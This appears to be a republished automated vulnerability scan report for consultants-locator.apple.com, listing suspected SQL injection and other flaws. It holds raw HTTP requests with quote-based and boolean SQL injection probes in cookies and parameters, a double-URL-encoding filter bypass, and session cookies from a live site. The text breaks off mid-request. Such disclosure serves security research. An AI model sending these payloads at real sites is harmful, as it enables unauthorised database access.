XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, consultants-locator.apple.com

Report generated by XSS.CX at Wed Jul 20 05:45:13 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. SQL injection

1.1. http://consultants-locator.apple.com/ [ac_search cookie]

1.2. http://consultants-locator.apple.com/index.php [POD cookie]

1.3. http://consultants-locator.apple.com/index.php [POD cookie]

1.4. http://consultants-locator.apple.com/index.php [Referer HTTP header]

1.5. http://consultants-locator.apple.com/index.php [__utmb cookie]

1.6. http://consultants-locator.apple.com/index.php [__utmz cookie]

1.7. http://consultants-locator.apple.com/index.php [fuseaction parameter]

1.8. http://consultants-locator.apple.com/index.php [geo cookie]

1.9. http://consultants-locator.apple.com/index.php [q parameter]

1.10. http://consultants-locator.apple.com/index.php [s_membership cookie]

1.11. http://consultants-locator.apple.com/index.php [s_orientationHeight cookie]

1.12. http://consultants-locator.apple.com/index.php [s_ppv cookie]

2. Cross-site scripting (reflected)

3. Cleartext submission of password

4. Session token in URL

5. Password field with autocomplete enabled

6. Source code disclosure

7. Cross-domain Referer leakage

8. Cross-domain script include

9. TRACE method is enabled

10. Email addresses disclosed

11. Content type incorrectly stated

11.1. http://consultants-locator.apple.com/companySearch.php

11.2. http://consultants-locator.apple.com/fancybox/fancy_shadow_e.png

11.3. http://consultants-locator.apple.com/fancybox/fancy_shadow_n.png

11.4. http://consultants-locator.apple.com/fancybox/fancy_shadow_ne.png

11.5. http://consultants-locator.apple.com/fancybox/fancy_shadow_nw.png

11.6. http://consultants-locator.apple.com/fancybox/fancy_shadow_s.png

11.7. http://consultants-locator.apple.com/fancybox/fancy_shadow_se.png

11.8. http://consultants-locator.apple.com/fancybox/fancy_shadow_sw.png

11.9. http://consultants-locator.apple.com/fancybox/fancy_shadow_w.png

11.10. http://consultants-locator.apple.com/favicon.ico

11.11. http://consultants-locator.apple.com/javascript/fancybox/jquery.fancybox-1.3.4.js

11.12. http://consultants-locator.apple.com/javascript/formatDate.js

11.13. http://consultants-locator.apple.com/javascript/jquery.js

11.14. http://consultants-locator.apple.com/javascript/jquery.tools.min.js

11.15. http://consultants-locator.apple.com/javascript/portal.1309219793.js

11.16. http://consultants-locator.apple.com/javascript/tooltips.js

11.17. http://consultants-locator.apple.com/javascript/treeview/treeview-min.js

11.18. http://consultants-locator.apple.com/javascript/wick.1295053156.js

11.19. http://consultants-locator.apple.com/javascript/yui/accordionview.js

11.20. http://consultants-locator.apple.com/javascript/yui/animation.js

11.21. http://consultants-locator.apple.com/javascript/yui/connection.1287529288.js

11.22. http://consultants-locator.apple.com/javascript/yui/container.1287529288.js

11.23. http://consultants-locator.apple.com/javascript/yui/dom.1287529288.js

11.24. http://consultants-locator.apple.com/javascript/yui/event.1287529288.js

11.25. http://consultants-locator.apple.com/javascript/yui/json.js

11.26. http://consultants-locator.apple.com/javascript/yui/utilities.js

11.27. http://consultants-locator.apple.com/javascript/yui/yahoo.1287529288.js


1. SQL injection  next
There are 12 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

1.1. http://consultants-locator.apple.com/ [ac_search cookie]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /

Issue detail

The ac_search cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ac_search cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the ac_search cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET / HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss%2527; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 03:35:12 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET / HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss%2527%2527; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 03:35:12 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 15568

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.2. http://consultants-locator.apple.com/index.php [POD cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The POD cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the POD cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?fuseaction=home.directory&offset=0&rppg=8&q=b0ad728d6b0d7d8318425ae1f7b86b60%22+and+3-2+%3D+%221 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en'; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 1

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 19:47:49 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45312

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
n(o) {
   var error = 0;
if ((o.responseText !== undefined) && (o.responseText.length > 3)) {
       try {
return_data = YAHOO.lang.JSON.parse(o.responseText);
} catch (e) {
// alert("Invalid result data");
// alert("Invalid result data: " + o.responseText);
           error = 1;
}
       if (!error && parseInt(return_data.count)) {
           document.getElementById('no_results').style.display = '
...[SNIP]...

Request 2

GET /index.php?fuseaction=home.directory&offset=0&rppg=8&q=b0ad728d6b0d7d8318425ae1f7b86b60%22+and+3-2+%3D+%221 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en''; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 2

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 19:47:58 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

1.3. http://consultants-locator.apple.com/index.php [POD cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The POD cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the POD cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the POD cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010 HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en%2527; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 03:46:52 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET /index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010 HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en%2527%2527; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; 